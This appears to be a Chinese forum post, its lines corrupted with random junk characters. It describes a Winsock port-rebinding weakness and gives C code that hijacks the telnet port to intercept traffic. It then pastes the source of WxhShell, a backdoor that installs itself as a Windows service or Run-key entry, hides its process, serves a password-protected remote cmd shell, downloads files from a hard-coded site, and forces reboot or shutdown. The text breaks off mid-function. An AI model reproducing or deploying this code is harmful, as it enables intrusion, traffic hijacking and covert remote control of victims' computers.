在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
l@<^V N@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=2)5_/9au OsAXHjX} saddr.sin_family = AF_INET;
czb(&>< QO7> XHn saddr.sin_addr.s_addr = htonl(INADDR_ANY);
5}~*,_J2Z oFHVA!lqe bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
91%+Bf()J6 q[1H=+ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1U~AupHE d^Ra1@0"q2 这意味着什么?意味着可以进行如下的攻击:
#d*mG = rr*",a"}m 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
@| %t<{y^I naXo <B 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
DhY9)>4M iX.=8~3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
(OYR, [* 6k42>e*p 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
YurK@Tq7 |I7P0JqP 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
X`:(-3T Xe*@`&nv@ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
R?>a UFM L1Fn;nR 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
q!""pr<n omECes) #include
/pFg<
#include
2#*Bw= #include
H<%7aOwO2 #include
0[T!}F^%e DWORD WINAPI ClientThread(LPVOID lpParam);
FD#?pVyPn^ int main()
@*q\$Eg}2 {
?Hf^&yo WORD wVersionRequested;
doP4N6 DWORD ret;
=@binTC4 WSADATA wsaData;
cIja^xD BOOL val;
%6L!JN SOCKADDR_IN saddr;
1F/`*z SOCKADDR_IN scaddr;
gUL`)t\} * int err;
=9YyUAJZ SOCKET s;
lV`y6 {o#T SOCKET sc;
phl5E:fIKx int caddsize;
}^?dK3~q HANDLE mt;
2j4VW0: DWORD tid;
X||oiqbY wVersionRequested = MAKEWORD( 2, 2 );
{;Mcor3 err = WSAStartup( wVersionRequested, &wsaData );
.+ai
dWd if ( err != 0 ) {
1<<`T%& printf("error!WSAStartup failed!\n");
C?bPdJ,6 return -1;
cpFw]w%] }
d~S.PRg= saddr.sin_family = AF_INET;
-CT?JB [_L:.,]g8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?_m;~>C z mrk`o~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
&]pW## saddr.sin_port = htons(23);
TxN#3m?G if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#rzxFMA" {
R7x4v printf("error!socket failed!\n");
`8xe2=Ub return -1;
2y
~]Uo }
eAu3,qoM val = TRUE;
#R305 //SO_REUSEADDR选项就是可以实现端口重绑定的
3r+vp yu if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
*FK!^Y {
Z?XE~6aP> printf("error!setsockopt failed!\n");
iIcO_ZyA return -1;
"]kaaF$U% }
Cg}cD. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
8cfxKUS //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
uzho>p[ae //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
H `),PY2 WSi Utf|g if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
_
97F {
9!_`HE+(XJ ret=GetLastError();
sA3 4`ZAa printf("error!bind failed!\n");
D
gY2:&0 return -1;
lb{*,S }
R7ZxS listen(s,2);
!(uyqplTk while(1)
,Ztj {
-7'>Rw caddsize = sizeof(scaddr);
{{SQL)yJ //接受连接请求
'<>pz<c sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,U],Wu) if(sc!=INVALID_SOCKET)
PM7*@~. {
HR\yJt mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
< I8hy$+6 if(mt==NULL)
{/XzIOO;b {
.FqbX5\p, printf("Thread Creat Failed!\n");
!wJ~p:vRdY break;
B6MMn. }
k
U*\Fa*E }
d=xU
f`^ CloseHandle(mt);
8!b#ez }
8g(%6 ET closesocket(s);
~BrERUk WSACleanup();
c/x ^I{b* return 0;
t$]lK6 }
iKLN !QR DWORD WINAPI ClientThread(LPVOID lpParam)
Wl;F]_|*( {
(t>BO`, SOCKET ss = (SOCKET)lpParam;
jNaK] SOCKET sc;
rVt6tx
unsigned char buf[4096];
S,n*1&ogj SOCKADDR_IN saddr;
G9N6iKP! long num;
o" &7$pAh DWORD val;
c[3sg DWORD ret;
$;@^coz9U //如果是隐藏端口应用的话,可以在此处加一些判断
w/~,mzM" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
#If}P$! saddr.sin_family = AF_INET;
f lR6^6E saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
qg'RD]a> R saddr.sin_port = htons(23);
~>k<I:BtrT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,wlFn {
XcR2]\ printf("error!socket failed!\n");
9y>dDNM\< return -1;
GBHv| GO }
b5No>U) / val = 100;
+a"MSPC4w if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
x`WP*a7Fk] {
QyJ}zwD ret = GetLastError();
ucL}fnY1 return -1;
.,o=# }
7xMvf<1P if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g.SFl {
fp.,MIS ret = GetLastError();
rNO'0Ck= return -1;
)_,*2|b }
rt_%_f>qd if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
k_
UY^vz. {
!X`
5 printf("error!socket connect failed!\n");
SBzJQt@Hs closesocket(sc);
W[AX? closesocket(ss);
Kxn/@@z>u return -1;
|bQKymS }
i!*w'[G->Y while(1)
U rm&4&y {
;
"ux{ . //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=;l.<{<VH //如果是嗅探内容的话,可以再此处进行内容分析和记录
A Ns.`S //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#OqQD6 num = recv(ss,buf,4096,0);
plh.-" if(num>0)
I
^?TabL send(sc,buf,num,0);
Q0#oR[( else if(num==0)
*l)_&p break;
kl?U2A.= num = recv(sc,buf,4096,0);
re2M!m6k5 if(num>0)
COH0aNp; send(ss,buf,num,0);
A0m else if(num==0)
X#EMmB! break;
ONH!ms(kb }
[ %cW ?@ closesocket(ss);
s{(aW5$!s closesocket(sc);
cV\(Z6u return 0 ;
3=RV Jb }
|F=!0Id< 9.{u2a\ ({v$!AAv ==========================================================
^
|z|kc B5GT^DaT 下边附上一个代码,,WXhSHELL
, ;W6wj q6bi{L@/R ==========================================================
(0 /,R LBq~?Q.e #include "stdafx.h"
DJVH}w}9_P IDQ@h`"B #include <stdio.h>
x{6KsYEY #include <string.h>
0w>V![ #include <windows.h>
`O?Kftv* #include <winsock2.h>
V7U&8UPb #include <winsvc.h>
eee77.@y-p #include <urlmon.h>
cY8XA6 9t:F![rg #pragma comment (lib, "Ws2_32.lib")
A'vQtlvKA #pragma comment (lib, "urlmon.lib")
;IZ*o<_ VgD z:j #define MAX_USER 100 // 最大客户端连接数
Y,w'Op #define BUF_SOCK 200 // sock buffer
##+|zka!U #define KEY_BUFF 255 // 输入 buffer
IFcxyp 8n+&tBq1 #define REBOOT 0 // 重启
\3JZ=/ #define SHUTDOWN 1 // 关机
m\o<a| %X7R_>.
#define DEF_PORT 5000 // 监听端口
K+ZJSfO6 S96H`kedZo #define REG_LEN 16 // 注册表键长度
mFfw*,M #define SVC_LEN 80 // NT服务名长度
N[~{'i BgRfy2: // 从dll定义API
$&&mGD;?K typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
dn(I$K8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
H=Scrvfx typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0zQ"5e?qy typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
7r;7'X5 ZG[P?fM // wxhshell配置信息
@ x_. struct WSCFG {
v%v(-, _q int ws_port; // 监听端口
=lT~ char ws_passstr[REG_LEN]; // 口令
HK&Ul=^VN| int ws_autoins; // 安装标记, 1=yes 0=no
.B?6 char ws_regname[REG_LEN]; // 注册表键名
C))5,aX char ws_svcname[REG_LEN]; // 服务名
`B6*wE-| char ws_svcdisp[SVC_LEN]; // 服务显示名
7=i8$v&GX char ws_svcdesc[SVC_LEN]; // 服务描述信息
YXz*B5R char ws_passmsg[SVC_LEN]; // 密码输入提示信息
K.) ionb int ws_downexe; // 下载执行标记, 1=yes 0=no
~e*3_l>9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
=^8*]/k char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5&?[Vt x\PZ.o };
%LyZaU_sB <7'`N\a // default Wxhshell configuration
a%| I'r struct WSCFG wscfg={DEF_PORT,
FvYgp bEZ "xuhuanlingzhe",
URU,&gy= 1,
0U|t@&q "Wxhshell",
Hdvtgss! "Wxhshell",
HYcLXh vgu "WxhShell Service",
o>WB,i^ G "Wrsky Windows CmdShell Service",
"NEg]LB5 "Please Input Your Password: ",
8T6LD 1,
^*sDJ # "
http://www.wrsky.com/wxhshell.exe",
9
5bi
W "Wxhshell.exe"
~o{GQ> };
F.{{gpI < z':_, // 消息定义模块
V"Cx5#\7C char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
I(^pIe- char *msg_ws_prompt="\n\r? for help\n\r#>";
mzw`{Oy>L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
e&~vO| 3w% char *msg_ws_ext="\n\rExit.";
]oT8H?%*Y char *msg_ws_end="\n\rQuit.";
Dzd[<Qln char *msg_ws_boot="\n\rReboot...";
n/W@H Im# char *msg_ws_poff="\n\rShutdown...";
w
O
H{L char *msg_ws_down="\n\rSave to ";
<PLQY e"}JHXs char *msg_ws_err="\n\rErr!";
b a5,?FVI~ char *msg_ws_ok="\n\rOK!";
AWaptw_p*
/{1s U}k- char ExeFile[MAX_PATH];
&T.d"i int nUser = 0;
A]0A,A0 HANDLE handles[MAX_USER];
&10l80vj int OsIsNt;
hcn$uyP ?^Gi;d5 SERVICE_STATUS serviceStatus;
?'_Ty`vT SERVICE_STATUS_HANDLE hServiceStatusHandle;
*Bfo"["0. G5WQTMzf& // 函数声明
d]A.=NAc int Install(void);
8^IV`P~2M int Uninstall(void);
LZ#=Ks int DownloadFile(char *sURL, SOCKET wsh);
1O#]qZS}] int Boot(int flag);
7gWT[ void HideProc(void);
mJxr"cwHl int GetOsVer(void);
(vX)
<Z
! int Wxhshell(SOCKET wsl);
Zv]'9,cbk void TalkWithClient(void *cs);
M)x6m|.= int CmdShell(SOCKET sock);
0Q7teXRM int StartFromService(void);
oX=dJJE int StartWxhshell(LPSTR lpCmdLine);
v~8CpC _+!@c6k)ra VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@}, |i*H/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
R*[X. H H1GmC`\<[: // 数据结构和表定义
[T
|P|\M SERVICE_TABLE_ENTRY DispatchTable[] =
kM6i{{Q {
J#.f%VJ {wscfg.ws_svcname, NTServiceMain},
mkE_ a> {NULL, NULL}
Sp7VH+ };
<OH{7>V WC Tmf8f // 自我安装
e{Q;,jsh int Install(void)
#B!|sXC {
n~"qbtp} char svExeFile[MAX_PATH];
w"`Zf7a{/ HKEY key;
Z8Iqgz7|y strcpy(svExeFile,ExeFile);
}_/]f!] xzi_u.iOP // 如果是win9x系统,修改注册表设为自启动
=oE(ur if(!OsIsNt) {
N#``(a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?rm3Iac0S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
M)F_$
ICE- RegCloseKey(key);
c,2OICj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tJG+k)EE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\gsJ1@ RegCloseKey(key);
bO i-QD return 0;
zG0]!A }
a}e GB + }
Z~0TO-Q }
`uKsFXM else {
mEm=SpO[$o t[e]AU[} // 如果是NT以上系统,安装为系统服务
LR "=( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
XF&_**0n if (schSCManager!=0)
`@q\R-` {
E2xK GK SC_HANDLE schService = CreateService
PglSQ2P (
hW!2C6 schSCManager,
$:?Dyu(Il wscfg.ws_svcname,
85x34nT wscfg.ws_svcdisp,
C669:% SERVICE_ALL_ACCESS,
HNRAtRvnY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&6^ --cc SERVICE_AUTO_START,
oVTXn=cYDp SERVICE_ERROR_NORMAL,
216`rQ}z svExeFile,
2Z-[x9t NULL,
2tb+3K1 NULL,
{RGQX"k NULL,
4se6+oJe NULL,
E<ILZpP NULL
r6eZ-V`4 );
<{+U- ^rzR if (schService!=0)
w%?Zb[!& {
Z%Pv,h'Q CloseServiceHandle(schService);
zfD@/kU CloseServiceHandle(schSCManager);
*HsA.W~2W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{wDq*va strcat(svExeFile,wscfg.ws_svcname);
+/[L-&, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
bUsX~R- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*rgF[
: RegCloseKey(key);
?f$U8A4lp return 0;
-Qn l)JB }
)Q 5 x% }
dWx@<(`OC CloseServiceHandle(schSCManager);
VA>0Y }
HUAbq } }
k|czQ"vaI O14\_eAu6 return 1;
A<]
$[2qPj }
74
WKy eslvg#Q // 自我卸载
_!_^B int Uninstall(void)
NQGa=kXeJ {
4ClSl#X#i HKEY key;
C hQ] d nQOzKw<j% if(!OsIsNt) {
48Jt5Jz_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
MgP&9 RegDeleteValue(key,wscfg.ws_regname);
No8-Hm RegCloseKey(key);
d
A'0'M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Bq;GO RegDeleteValue(key,wscfg.ws_regname);
3-=AmRxW't RegCloseKey(key);
+I\54PBws return 0;
Z
l;TS%$ }
1:iB1TclP }
*8J0yv }
id588Y78 else {
=:Yrb2gP_\ VP~(;H5% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!7f,g vk if (schSCManager!=0)
mrq,kwM {
_s+G02/q1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`M*jrkM]x if (schService!=0)
.p]rS
=# {
Dpwqg3,
if(DeleteService(schService)!=0) {
#K`0b$ CloseServiceHandle(schService);
fLpWTkr0 CloseServiceHandle(schSCManager);
F @<h:VVP return 0;
SA#01}&p }
obGhO CloseServiceHandle(schService);
kdWUz( }
sq;!5qK CloseServiceHandle(schSCManager);
S[gACEZ = }
Qcks:|5 }
@U4hq7xzV2 l[]cUE return 1;
%-]a[qf3 }
+?W4ac1 H0!$aO // 从指定url下载文件
2~4&4 int DownloadFile(char *sURL, SOCKET wsh)
::+;PRy_E {
DSRmFxkk HRESULT hr;
f`KO#Wc char seps[]= "/";
}OhSCH'o6 char *token;
o<J6KTLv char *file;
_-sFJi8B char myURL[MAX_PATH];
QFnpp\K char myFILE[MAX_PATH];
+*w}H
0Z &]Uo>Gb3!q strcpy(myURL,sURL);
MD*dq token=strtok(myURL,seps);
m ?; ?I]` while(token!=NULL)
kxN
O9w {
Ozhn`9L+1! file=token;
6"
<(M@ token=strtok(NULL,seps);
]=%6n@z' }
Fw*O ciC 2y \ogF GetCurrentDirectory(MAX_PATH,myFILE);
ByuBZ!m strcat(myFILE, "\\");
&XdTY + strcat(myFILE, file);
Q-!gO send(wsh,myFILE,strlen(myFILE),0);
hkyO_ns send(wsh,"...",3,0);
9J~\.:jH- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
kMK0|+ if(hr==S_OK)
Mo<q(_ZeRP return 0;
c_CVZR? else
g~b$WV% return 1;
@ZjO#%Ep/ Z:<an+v|5 }
-)B_o#2=2 gwsIzYV // 系统电源模块
PqL.^ int Boot(int flag)
Ssuz%* {
/M::x+/T HANDLE hToken;
w[\rS`J TOKEN_PRIVILEGES tkp;
#Q)r6V: |:&O!36 if(OsIsNt) {
y.I&x#(^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
f1v4h[)- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
UPP"-`t tkp.PrivilegeCount = 1;
;2\6U; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
W8$0y2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
122s7A if(flag==REBOOT) {
dCS f$5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
]jm:VF]4 return 0;
utBrH }
'<YBoU{e* else {
79cM_O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Ncsh{. return 0;
."=p\:^j* }
b>8TH-1t~ }
A6 .wXv, else {
$.kJBRgV* if(flag==REBOOT) {
L -:@Om! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
m2"e ]I return 0;
[>r0
(x&. }
:b(W&iBWhI else {
{:("oK6w if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
QK#wsw return 0;
^r.CUhx) }
L'S,=NYXY }
)qw;KG0F 7n.Oem return 1;
.gmS1ju }
+0z7}u\x /5/gnpC // win9x进程隐藏模块
&Jb\}c} void HideProc(void)
dr}PjwW% {
PZJ9f8V IQ_s]b;z HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
c AO:fb7 if ( hKernel != NULL )
$-Ex
g*i {
ls&H oJ7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
{QylNC9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
mB"I(>q*M FreeLibrary(hKernel);
{ri={p]l }
jLt3jN LtX53c return;
R'zi#FeP }
.?Y"o3 ^d{5GK' // 获取操作系统版本
-,b+tC<V)0 int GetOsVer(void)
=#[oi3k {
;m#4Q6k)V? OSVERSIONINFO winfo;
prN+{N8YC winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Ikf[K%NKn GetVersionEx(&winfo);
w-#
f^# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
L;$>SLl, return 1;
?#xm6oe#aH else
&e:+;7 return 0;
dH;2OWM }
AQ@)' rvy%8%e? // 客户端句柄模块
1n!:L!,` int Wxhshell(SOCKET wsl)
+Tu?PuT7k {
Jj+Q2D: SOCKET wsh;
-u'"l(n)~ struct sockaddr_in client;
2;WbXc!#! DWORD myID;
@WS77d~S 86 e13MF while(nUser<MAX_USER)
;J TY#)Bh {
>~rlnRX int nSize=sizeof(client);
ERIMz, wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
e
}?.3,? if(wsh==INVALID_SOCKET) return 1;
iaEQF]*cC 7]zZdqG&p` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{~&Q"8
}G if(handles[nUser]==0)
{~ F|"v closesocket(wsh);
@}g3\xLiK else
}URdoTOvb nUser++;
EG3,TuDH8 }
cI\[)5& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
z5]6"v- gh?[x.U return 0;
C&H'?0Y@ }
Fy Ih\ J'|=J // 关闭 socket
jb&MC2 void CloseIt(SOCKET wsh)
y<
*-& {
IJGw<cB]+ closesocket(wsh);
M=uT8JB nUser--;
gtu<#h( ExitThread(0);
4/`;(*]Fv }
Z>g>OPu rx2']. // 客户端请求句柄
. waw=C void TalkWithClient(void *cs)
'Tjvq%ks {
Ld}?da Pj Fb]+h)on SOCKET wsh=(SOCKET)cs;
!P=Cv= char pwd[SVC_LEN];
VZWo.Br'W char cmd[KEY_BUFF];
=b:XL#VA char chr[1];
'Y)aGH( int i,j;
yj&GJuNb~ cZ:jht while (nUser < MAX_USER) {
(b f
IS gPMfn:a-8 if(wscfg.ws_passstr) {
s%K( hk if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
dz([GP'-* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
. &j+& //ZeroMemory(pwd,KEY_BUFF);
)&j`5sSXcr i=0;
=eQB-Xe8Y while(i<SVC_LEN) {
N:| :L:<1 %o%V4K* // 设置超时
T{C;bf:Q fd_set FdRead;
3 Vc}Q'&Y struct timeval TimeOut;
rV%T+!n%c FD_ZERO(&FdRead);
6[A\cs FD_SET(wsh,&FdRead);
CZ3oX#b TimeOut.tv_sec=8;
>z\IO TimeOut.tv_usec=0;
C(G.yd int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
p!YK~cH[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
zx}+Q B0 !2Nk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
xjo`u:BH pwd
=chr[0]; Deh3Dtg/k
if(chr[0]==0xd || chr[0]==0xa) { baII!ks
pwd=0; hYkkr&
break; =Z:]%
} Mc@9ivwL#
i++; W`Gbo
uxd
} ?^%[*OCCC!
"frZ%mv
// 如果是非法用户,关闭 socket bzNnEH`^]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?`U_|Yo
} xOe1v9<
UGO;5!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XMI*obS'z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
]LC4rS
hI86WP9*
while(1) { F0U %m
}MRgNr'k
ZeroMemory(cmd,KEY_BUFF); >6o <Q
Qt+D ,X
// 自动支持客户端 telnet标准 larv6ncV
j=0; Dz~0(
while(j<KEY_BUFF) { -pYmM d,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ea@0>_U|
cmd[j]=chr[0]; Zt3sU_
if(chr[0]==0xa || chr[0]==0xd) { a|u#w~
cmd[j]=0; ZTzec zXpQ
break; 9<_hb1'
}
+x
3x
j++; gLv+L]BnhH
} gt}Atr6>_
DA
"V)
// 下载文件 <=7nTcO~
if(strstr(cmd,"http://")) { eVf D&&@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); y]jx-wc3O
if(DownloadFile(cmd,wsh)) L[2qCxB'^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VxN#\Di&
else as:l1S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &}p\&4
} L}*o8l`
else { 71nZi`AR
f 3H uT=n
switch(cmd[0]) { oDA'$]UL
gGVt( ^
// 帮助 #H~55 ))F
case '?': { ,/+Mp
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2X2Ax~d@
break; F|F0#HC ?
} yQrgOdo,w
// 安装 <
c^'$
case 'i': { 2.Vrh@FNRo
if(Install()) bPOPoq1#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e#;43=/Ia
else "rn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z3TCi7,m
break; ?_gvI
} nnPT08$
// 卸载 b/UXO$_~-
case 'r': { 6-wpR
if(Uninstall()) "^$Ht`p[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $l7}e=1
else 5_!L"sJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^s6~*n<fH
break; jv~#'=T'
} F `:Q
// 显示 wxhshell 所在路径 bra2xHK@
case 'p': { Sn-#Y(>]o0
char svExeFile[MAX_PATH]; IE \RP!
strcpy(svExeFile,"\n\r"); vX }iA|`#
strcat(svExeFile,ExeFile); ^`yhN
send(wsh,svExeFile,strlen(svExeFile),0); @sn:%/x _
break; "Y+VNS
} `?$-T5Rr
// 重启 i
7]o[
case 'b': { AJ/Hw>>$?m
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4xW~@meNB
if(Boot(REBOOT)) 2`]c&k;]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %.$!VTO"
else { uY~mi9E
closesocket(wsh); [s^pP2
ExitThread(0); e W8cI)wU
} gaXo)o S
break; i`@cVYsL
} Lmjd,t
// 关机 Gk5'|s
case 'd': { ]#M"|iTR
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e2=}qE7
if(Boot(SHUTDOWN)) jF;<9-m&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jj&G[-"bv
else { *I?-A(e
closesocket(wsh); @-)S*+8
ExitThread(0); co\?SgE35
} TYuP
EVEXZ
break; ph6/+[:
} qY-aR;
// 获取shell :/(G#ZaV
case 's': { IA0vSF:
CmdShell(wsh); esSj
3E
closesocket(wsh); mfZbo#KS#v
ExitThread(0); |iJz[%
break; .K~V DUu
} On);SN'
// 退出 O])vR< [
case 'x': { "-S!^h/v
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h:Gs9]Lvtv
CloseIt(wsh); =&pR=vl
break; DH\Ox>b=
} 9'p| [?]v
// 离开 aN"YEL>w
case 'q': { LeN }Q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); TgV-U
closesocket(wsh); ?5" >5 0
WSACleanup(); \_.'/<aQ
exit(1); mL1ZSX
o!
break; 1R-0b{w[
} 1W*Qc_5 v1
} ]Yt3@ug_f
} g s1
|6-9vU!LK?
// 提示信息 60~*$`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /TbJCZ
} bzpi7LKN
} $]?pAqU\
27gHgz}}
return; 0*:n<T9
} h(q4
B~
lg-`zV3
// shell模块句柄 (1S9+H>g
int CmdShell(SOCKET sock) =4q 5KI
{ ;t7F%cDA
STARTUPINFO si; WuVsW3@
ZeroMemory(&si,sizeof(si)); v0WB.`rO
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u@D5SkT
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X ([^i;mr
PROCESS_INFORMATION ProcessInfo; \t{4pobo
char cmdline[]="cmd"; A["6dbvv
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G AH<
return 0; @ ~{TL
} f4<~_ZGr
7]u_
// 自身启动模式 ,FYA*}[
int StartFromService(void) Q +hOW-
{ br0\O
typedef struct +
,]&&
{ q:>`|~MX
DWORD ExitStatus; DDIRJd<J
DWORD PebBaseAddress; "c~``i\G
DWORD AffinityMask; Nc6y]eGz
DWORD BasePriority; *C)m#[#:u
ULONG UniqueProcessId; o r ~@!
ULONG InheritedFromUniqueProcessId; 7g8\q@',
